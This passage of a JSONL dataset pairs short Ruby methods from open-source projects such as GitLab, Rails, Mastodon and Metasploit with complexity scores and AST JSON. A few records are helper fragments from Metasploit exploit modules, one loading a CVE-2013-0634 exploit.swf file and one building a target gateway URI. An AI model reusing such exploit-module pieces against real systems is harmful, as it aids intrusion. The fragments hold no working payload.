end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"httparty_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MSG_SEND\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"method_name\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arg_nodes\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Gitlab::HTTP.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_nodes\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"includes_httparty?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MSG_INCLUDE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},null]}]}]}","id":"ad190cdf-3b8a-44f5-a19a-1694eb0fc54e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/spec/support/file_upload_helpers.rb","start_line":2,"raw_source":"def get_blob_for(file_path, content_type)\n    ActiveStorage::Blob.create_and_upload!(\n      io: File.open(file_path, 'rb'),\n      filename: File.basename(file_path),\n      content_type: content_type\n    )\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_blob_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]},{\"type\":\"arg\",\"children\":[\"content_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"create_and_upload!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file_path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"lvar\",\"children\":[\"content_type\"]}]}]}]}]}","id":"baccb252-9eb6-43b4-9264-cb195a7c1cca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/sounds.rb","start_line":15,"raw_source":"def play_sound(event)\n      queue.push(event)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"play_sound\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"queue\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}","id":"909417c6-9d1a-4e55-a44f-aa6d2ece210d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/releases/base_service.rb","start_line":104,"raw_source":"def param_for_milestones_exists?\n      params[:milestones].present? || params[:milestone_ids].present?\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"param_for_milestones_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestones\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestone_ids\"]}]},\"present?\"]}]}]}","id":"23db22f6-ae5c-48db-a6a1-23b04d90f2e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flash_regex_value.rb","start_line":118,"raw_source":"def create_swf\n    path = ::File.join(Msf::Config.data_directory, \"exploits\", \"CVE-2013-0634\", \"exploit.swf\")\n    swf = ::File.open(path, 'rb') { |f| swf = f.read }\n\n    swf\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_swf\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2013-0634\"]},{\"type\":\"str\",\"children\":[\"exploit.swf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"swf\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"swf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"read\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"swf\"]}]}]}","id":"7fe312ed-f960-4a33-9779-731b9cd0e8e8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/dexter_casinoloader_exec.rb","start_line":64,"raw_source":"def gateway\n    return normalize_uri(target_uri.path, datastore['TARGETGATEWAY'])\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gateway\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETGATEWAY\"]}]}]}]}]}","id":"32b06dc1-d117-4f2e-a66d-1f945850837e"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/generators/ruby_llm/chat_ui/chat_ui_generator.rb","start_line":44,"raw_source":"def create_views\n        # For namespaced models, use the proper Rails convention path\n        chat_view_path = chat_model_name.underscore.pluralize\n        message_view_path = message_model_name.underscore.pluralize\n        model_view_path = model_model_name.underscore.pluralize\n\n        # Chat views\n        template 'views/chats/index.html.erb', \"app/views/#{chat_view_path}/index.html.erb\"\n        template 'views/chats/new.html.erb', \"app/views/#{chat_view_path}/new.html.erb\"\n        template 'views/chats/show.html.erb', \"app/views/#{chat_view_path}/show.html.erb\"\n        template 'views/chats/_chat.html.erb',\n                 \"app/views/#{chat_view_path}/_#{chat_model_name.demodulize.underscore}.html.erb\"\n        template 'views/chats/_form.html.erb', \"app/views/#{chat_view_path}/_form.html.erb\"\n\n        # Message views\n        template 'views/messages/_message.html.erb',\n                 \"app/views/#{message_view_path}/_#{message_model_name.demodulize.underscore}.html.erb\"\n        template 'views/messages/_tool_calls.html.erb',\n                 \"app/views/#{message_view_path}/_tool_calls.html.erb\"\n        template 'views/messages/_content.html.erb', \"app/views/#{message_view_path}/_content.html.erb\"\n        template 'views/messages/_form.html.erb', \"app/views/#{message_view_path}/_form.html.erb\"\n        template 'views/messages/create.turbo_stream.erb', \"app/views/#{message_view_path}/create.turbo_stream.erb\"\n\n        # Model views\n        template 'views/models/index.html.erb', \"app/views/#{model_view_path}/index.html.erb\"\n        template 'views/models/show.html.erb', \"app/views/#{model_view_path}/show.html.erb\"\n        template 'views/models/_model.html.erb',\n                 \"app/views/#{model_view_path}/_#{model_model_name.demodulize.underscore}.html.erb\"\n      end","complexity_score":39.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_views\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chat_view_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_model_name\"]},\"underscore\"]},\"pluralize\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message_view_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message_model_name\"]},\"underscore\"]},\"pluralize\"]}]},{\"type\":\"lvasgn\",\"children\":[\"model_view_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_model_name\"]},\"underscore\"]},\"pluralize\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/chats/index.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/index.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/chats/new.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/new.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/chats/show.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/show.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/chats/_chat.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_model_name\"]},\"demodulize\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\".html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/chats/_form.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/_form.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/messages/_message.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message_model_name\"]},\"demodulize\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\".html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/messages/_tool_calls.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/_tool_calls.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/messages/_content.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/_content.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/messages/_form.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/_form.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/messages/create.turbo_stream.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/create.turbo_stream.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/models/index.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/index.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/models/show.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/show.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/models/_model.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_view_path\"]}]},{\"type\":\"str\",\"children\":[\"/_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_model_name\"]},\"demodulize\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\".html.erb\"]}]}]}]}]}","id":"d4233617-0c80-4643-9eb7-48c965437305"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exception.rb","start_line":238,"raw_source":"def initialize(pname = nil)\n    @pname = pname\n    super(\"#{pname} is not a compatible payload.\")\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"pname\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pname\",{\"type\":\"lvar\",\"children\":[\"pname\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pname\"]}]},{\"type\":\"str\",\"children\":[\" is not a compatible payload.\"]}]}]}]}]}","id":"d108fd02-11e2-4cab-9cc5-ba8339b87565"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/checkout_controller.rb","start_line":164,"raw_source":"def serialize_payment_methods(payment_methods)\n            payment_methods_serializer.new(payment_methods, params: serializer_params).serializable_hash\n          end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_payment_methods\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payment_methods\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payment_methods_serializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"payment_methods\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"serializer_params\"]}]}]}]},\"serializable_hash\"]}]}","id":"a5cd071a-8e8f-4fdd-8b9e-22cce02d89f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/user_merge_requests_resolver_base.rb","start_line":72,"raw_source":"def load_project(project_path, project_id)\n      @project = ::Gitlab::Graphql::Lazy.force(resolve_project(full_path: project_path, project_id: project_id))\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_path\"]},{\"type\":\"arg\",\"children\":[\"project_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Graphql\"]},\"Lazy\"]},\"force\",{\"type\":\"send\",\"children\":[null,\"resolve_project\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_path\"]},{\"type\":\"lvar\",\"children\":[\"project_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]}]}]}]}]}","id":"f995c006-bd58-428e-9f56-98372348fd63"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":592,"raw_source":"def test_find_by_slug_with_array\n    assert_equal Topic.find([1, 2]), Topic.find([\"1-meowmeow\", \"2-hello\"])\n    assert_equal \"The Second Topic of the day\", Topic.find([\"2-hello\", \"1-meowmeow\"]).first.title\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_by_slug_with_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"1-meowmeow\"]},{\"type\":\"str\",\"children\":[\"2-hello\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The Second Topic of the day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2-hello\"]},{\"type\":\"str\",\"children\":[\"1-meowmeow\"]}]}]},\"first\"]},\"title\"]}]}]}]}","id":"9bd50693-48a2-480f-91d9-43567ad00754"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/test/cookies_test.rb","start_line":16,"raw_source":"def test_cookies_none\n    with_options(cookies: :none) do\n      get products_url\n      assert_empty response.cookies\n      visit = Ahoy::Visit.last\n\n      # deterministic token\n      assert_equal \"93dc5253-3a3b-561d-8d53-fb5476f02eca\", visit.visitor_token\n\n      get products_url\n      assert_equal 1, Ahoy::Visit.count\n      assert_equal 2, Ahoy::Visit.last.events.count\n    end\n  end","complexity_score":25.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cookies_none\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cookies\"]},{\"type\":\"sym\",\"children\":[\"none\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"products_url\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"cookies\"]}]},{\"type\":\"lvasgn\",\"children\":[\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Visit\"]},\"last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"93dc5253-3a3b-561d-8d53-fb5476f02eca\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit\"]},\"visitor_token\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"products_url\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Visit\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Visit\"]},\"last\"]},\"events\"]},\"count\"]}]}]}]}]}","id":"de69e75d-e956-4630-96db-730448bd1f43"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/concerns/cache_concern.rb","start_line":7,"raw_source":"def vary_by(value, **kwargs)\n      before_action(**kwargs) do |controller|\n        response.headers['Vary'] = value.respond_to?(:call) ? controller.instance_exec(&value) : value\n      end\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"vary_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_action\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Vary\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"instance_exec\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"8aa38c60-151c-4c2a-88a9-8c3f2fbc54eb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/inheritance_test.rb","start_line":344,"raw_source":"def test_where_create_with_unrelated_type\n    assert_raise(ActiveRecord::SubclassNotFound) { Company.where(type: \"Account\").create }\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_where_create_with_unrelated_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"SubclassNotFound\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Account\"]}]}]}]},\"create\"]}]}]}","id":"f501945d-e281-4848-83fc-b60831f6fc4e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/category_list.rb","start_line":130,"raw_source":"def dismissed_topic?(topic)\n    if @guardian.current_user\n      @dismissed_topic_users_lookup ||=\n        DismissedTopicUser.lookup_for(@guardian.current_user, @all_topics)\n      @dismissed_topic_users_lookup.include?(topic.id)\n    else\n      false\n    end\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"dismissed_topic?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@guardian\"]},\"current_user\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@dismissed_topic_users_lookup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DismissedTopicUser\"]},\"lookup_for\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@guardian\"]},\"current_user\"]},{\"type\":\"ivar\",\"children\":[\"@all_topics\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dismissed_topic_users_lookup\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"5863c5d6-4574-449e-9b2a-db0ad8d3f6f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/fix_bad_sharding_key_id_on_project_ci_runners.rb","start_line":33,"raw_source":"def runners_with_valid_sharding_keys\n        CiRunnerProject\n          .where(\"#{CiRunnerProject.table_name}.project_id = #{CiRunner.table_name}.sharding_key_id\")\n          .where(\"#{CiRunnerProject.table_name}.runner_id = #{CiRunner.table_name}.id\")\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"runners_with_valid_sharding_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CiRunnerProject\"]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CiRunnerProject\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".project_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CiRunner\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".sharding_key_id\"]}]}]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CiRunnerProject\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".runner_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CiRunner\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id\"]}]}]}]}","id":"f4f49441-8033-4e2a-8d71-b8a3d93e676c"}
